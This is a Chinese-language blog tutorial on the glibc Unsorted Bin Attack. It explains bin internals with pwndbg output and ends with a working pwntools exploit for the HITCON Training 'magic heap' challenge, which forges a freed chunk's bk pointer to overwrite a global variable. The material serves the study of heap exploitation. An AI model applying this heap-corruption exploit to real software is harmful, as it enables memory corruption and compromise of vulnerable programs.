Unsorted Bin Attack

August 4, 2019 PWN 访问: 23 次

Unsorted Bin

Unsorted Bin可以看作成small binslarge bins的缓存存储区域,Unsorted Bin只有一个链表,并且是双链表,链表中的chunk不排序,所有的chunk在回收时都要先放到Unsorted Bin中,分配时,如果在Unsorted Bin中没有找到合适的chunk,就会把Unsorted Bin中的所有chunk分别分配到所属的bin中,然后在bin中本配合适的chunk,bins数组中的元素bin[1]用于存储Unsorted Bin的chunk链表的表头,Unsorted Bin链表采用的遍历顺序是FIFO

FIFO:先进先出(队列)
LIFO:后进先出(栈)

原理

写一个小的demo

#include<stdio.h>
#include<stdlib.h>
int main()
{
    char *heap_1,*heap_2,*heap_3,*heap_4,*heap_5,*heap_6,*heap_7;
    heap_1 = malloc(0x20);
    heap_2 = malloc(0x80);
    heap_3 = malloc(0x20);
    heap_4 = malloc(0x80);
    heap_5 = malloc(0x20);
    free(heap_2);
    free(heap_4);
    heap_6 = malloc(0x80);
    heap_7 = malloc(0x80);
    return 0;
}

动态调试查看它们具体的值(glibc-2.23)
首先我们在demo.c:13下断点,此时两个0x80的chunk都进到了Unsorted Bin

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6020f0 —▸ 0x602030 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6020f0
smallbins
empty
largebins
empty
pwndbg>

由此我来具体看一下Unsorted Bin中每一个chunk中的数据

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6020f0 —▸ 0x602030 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6020f0
smallbins
empty
largebins
empty
pwndbg> p *(struct malloc_chunk *)0x6020f0
$1 = {
  prev_size = 0,
  size = 145,
  fd = 0x602030,
  bk = 0x7ffff7dd1b78 <main_arena+88>,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
pwndbg> p *(struct malloc_chunk *)0x602030
$2 = {
  prev_size = 0,
  size = 145,
  fd = 0x7ffff7dd1b78 <main_arena+88>,
  bk = 0x6020f0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
pwndbg> p *(struct malloc_chunk *)0x7ffff7dd1b78
$3 = {
  prev_size = 6300080,
  size = 0,
  fd = 0x6020f0,
  bk = 0x602030,
  fd_nextsize = 0x7ffff7dd1b88 <main_arena+104>,
  bk_nextsize = 0x7ffff7dd1b88 <main_arena+104>
}
pwndbg>

图示(有点丑):

看的出来这是一个循环列表
当已经在Unsorted Bin中的chunk被malloc分配出去的时候,会执行下面两行代码

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

同样动态调试查看具体的数据,通过分析发现:

mov [0x7ffff7dd1b78+0x18],0x6020f0
mov [0x6020f0+0x10],0x7ffff7dd1b78

如图所示

在glibc源码中向上查找bck的赋值,找到bck = victim->bk;,也就是说,victim就是将要分配出去的chunk,bck就是它的BK指针,对比上面我们画的图片,完全符合
也就是说,当我们可以控制Unsorted Bin中某一个块的时候,就可以伪造一个victim->bk,就可以将unsorted_chunks (av),赋值给我们伪造的地址

例子(HITCON Training lab14 magic heap)

程序开启了NX和canary保护,菜单题

  • create:设置size,malloc(size),
  • edit:再次设置size,输入size个字节,这里造成堆溢出
  • delete:free掉malloc分配的块
  • 存在后门,当我们输入选项4869并且magic变量大于4869时,执行system("cat ./flag")

攻击流程

首先分配堆块,使其free之后可以进入到Unsorted Bin,然后通过edit上一个chunk来溢出伪造Unsorted Bin里的块,再将Unsorted Bin里的块给malloc出来(触发漏洞即可修改magic)
exp:

from pwn import *
context.log_level = 'debug'
r = process('./magicheap')
def create_heap(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
def edit_heap(idx, size, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
def del_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
create_heap(0x20,"123456")
create_heap(0x80,"456789")
create_heap(0x20,"789456")
del_heap(1)
payload = "a"*0x20+p64(0)+p64(0x91)+p64(0)+p64(0x0000000006020C0-0x10)
edit_heap(0,0x40,payload)
create_heap(0x80,"123456")
# gdb.attach(r)
# raw_input()
r.recvuntil(":")
r.sendline("4869")
r.interactive()

总结

把glibc源码载入到gdb中调试确实很好,数据什么的都可以随时查看,更加帮助理解。

添加新评论